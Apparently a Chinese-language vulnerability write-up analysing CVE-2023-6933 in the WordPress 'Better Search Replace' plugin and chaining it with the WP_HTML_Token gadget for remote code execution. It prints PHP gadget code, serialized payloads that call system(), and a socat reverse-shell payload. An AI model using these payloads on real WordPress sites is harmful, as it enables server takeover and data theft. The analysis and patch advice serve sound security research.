WordPress 的 "Better Search Replace" 插件存在一个严重的 PHP 对象注入漏洞。该安全缺陷存在于所有版本(包括 1.4.4 及之前版本)。它源于对不受信任输入的反序列化,使未认证的攻击者能够向系统注入 PHP 对象。值得注意的是,该插件本身不包含 PHP 对象注入链。然而,如果目标系统上安装了另一个包含 POI 链的易受攻击的插件或主题,则该漏洞可能允许攻击者删除任意文件、访问敏感数据或执行恶意代码。
在本次分析中,我们还将涵盖 WordPress 6.4.0 版本中为了解决远程代码执行问题而修复的漏洞。此外,我们将探讨将这两个漏洞链接起来以实现未认证远程代码执行的可能性。
要查找 Better Search Replace 插件的当前稳定版本,请使用以下命令:
echo 'http://wp6.4-better-search-replace-before-1.4.5.local' \
| sed "s'$'/wp-content/plugins/better-search-replace/README.txt'" \
| httpx -silent -mc 200 -er 'Stable tag:.*'
http://wp6.4-better-search-replace-before-1.4.5.local/wp-content/plugins/better-search-replace/README.txt [Stable tag: 1.4.3]
首先,我为分析设置了三个 Docker 容器:
为了更深入地了解该漏洞,我开始分析 "Better Search Replace" 插件 GitHub 仓库中的特定提交。这些提交可能包含关于漏洞性质和修复的关键信息。

在这个函数中,我们可以看到以下参数:
from:需要被替换的文本。to:表示替换文本。data:需要被替换的数据。这里需要注意的是,数据直接传递给了函数 $this->unserialize($data)。

因此,我们可以看到字符串将被反序列化。
为了确定在何处可以将序列化对象注入到 data 中,我们将探索插件的可视化界面。

因此,我们可以在其中一个表中放置一个序列化对象,但我们需要一个易受攻击的序列化对象来实现远程代码执行。
在 WordPress 6.4.0 版本中,引入了一个 PHP 对象 WP_HTML_Token。以下是其结构及利用潜力的详细说明:
main.php
<?php
class WP_HTML_Token {
public $bookmark_name = null;
public $node_name = null;
public $has_self_closing_flag = false;
public $on_destroy = null;
/**
* 构造函数 - 创建指向外部 HTML 字符串中某个标记的引用。
*
* @since 6.4.0
*
* @param string $bookmark_name 书签名称,对应于 HTML 中标记所在位置。
* @param string $node_name 节点名称,标记所代表的对象名称;如果大写,则是 HTML 元素;如果小写,则是特殊值(如 "marker")。
* @param bool $has_self_closing_flag 源标记是否包含自闭合标志,无论其是否有效。
* @param callable $on_destroy 销毁标记时调用的函数,用于释放书签。
*/
public function __construct( $bookmark_name, $node_name, $has_self_closing_flag, $on_destroy = null ) {
$this->bookmark_name = $bookmark_name;
$this->node_name = $node_name;
$this->has_self_closing_flag = $has_self_closing_flag;
$this->on_destroy = $on_destroy;
}
public function __destruct() {
if ( is_callable( $this->on_destroy ) ) {
call_user_func( $this->on_destroy, $this->bookmark_name );
}
}
}
__destruct 方法中的 call_user_func 函数是利用的关键。它需要:
$this->on_destroy:可调用的函数。
$this->bookmark_name:可调用函数的参数。
为了利用这一点,我尝试在 main.php 末尾添加以下代码行(注意:在序列化之前注释掉 call_user_func 行):
$token = new WP_HTML_Token("touch /tmp/rce", "nodeName", false, 'system');
$serializedObject = serialize($token);
echo $serializedObject;
php main.php
O:13:"WP_HTML_Token":4:{s:13:"bookmark_name";s:14:"touch /tmp/rce";s:9:"node_name";s:8:"nodeName";s:21:"has_self_closing_flag";b:0;s:10:"on_destroy";s:6:"system";}
现在,可以通过在网站上添加一个未认证的评论来测试这个理论。

是时候利用该插件来触发反序列化函数了。

文件按预期创建,因此反序列化期间以及对象销毁期间的 RCE 工作正常。

已删除评论的持久性:即使评论被删除,它仍然以“不向用户显示”的标签保留在数据库中。然而,该插件不区分可见和不可见评论,并继续对其进行反序列化。
干运行期间的反序列化:反序列化过程甚至在干运行期间也会发生,这是安全方面的一个重大疏忽。
初始评估:Wordfence 对通用漏洞评分系统的分类似乎有误。在我看来,它应该被评为 8.8。
修订后的评估:当前的 CVSS 评分为 9.8。然而,这个评分忽略了“需要用户在正确的表格上进行交互”才能触发代码反序列化。为了确认这一点,我联系了研究员 Sam Pizzey,他肯定了我的观察:该漏洞的执行需要有人与插件交互。
对于对反弹 shell 技术感兴趣的人,我调整了我的 payload 以简化该过程。这可以应用于对所有人开放注册的网站:
$token = new WP_HTML_Token("socat TCP:172.17.0.4:4444 EXEC:/bin/bash", "nodeName", false, 'system');
$serializedObject = serialize($token);
echo $serializedObject;
O:13:"WP_HTML_Token":4:{s:13:"bookmark_name";s:40:"socat TCP:172.17.0.4:4444 EXEC:/bin/bash";s:9:"node_name";s:8:"nodeName";s:21:"has_self_closing_flag";b:0;s:10:"on_destroy";s:6:"system";}
将 PHP 对象插入个人资料

然后我打开了一个监听器以等待传入连接。


最后,我成功接收到了反弹 shell 连接。

本文档详细介绍了 CVE-2023-6933 漏洞,包括其影响、技术细节和缓解策略。理解和解决此漏洞对于维护使用 'Better Search Replace' 插件的 WordPress 安装的安全性和完整性至关重要。
要解决此漏洞,请更新到高于 Better Search Replace 1.4.4 的版本,并更新您的 WordPress。
作者:Maxime Paillé
GitHub:w2xim3
LinkedIn:LinkedIn 个人资料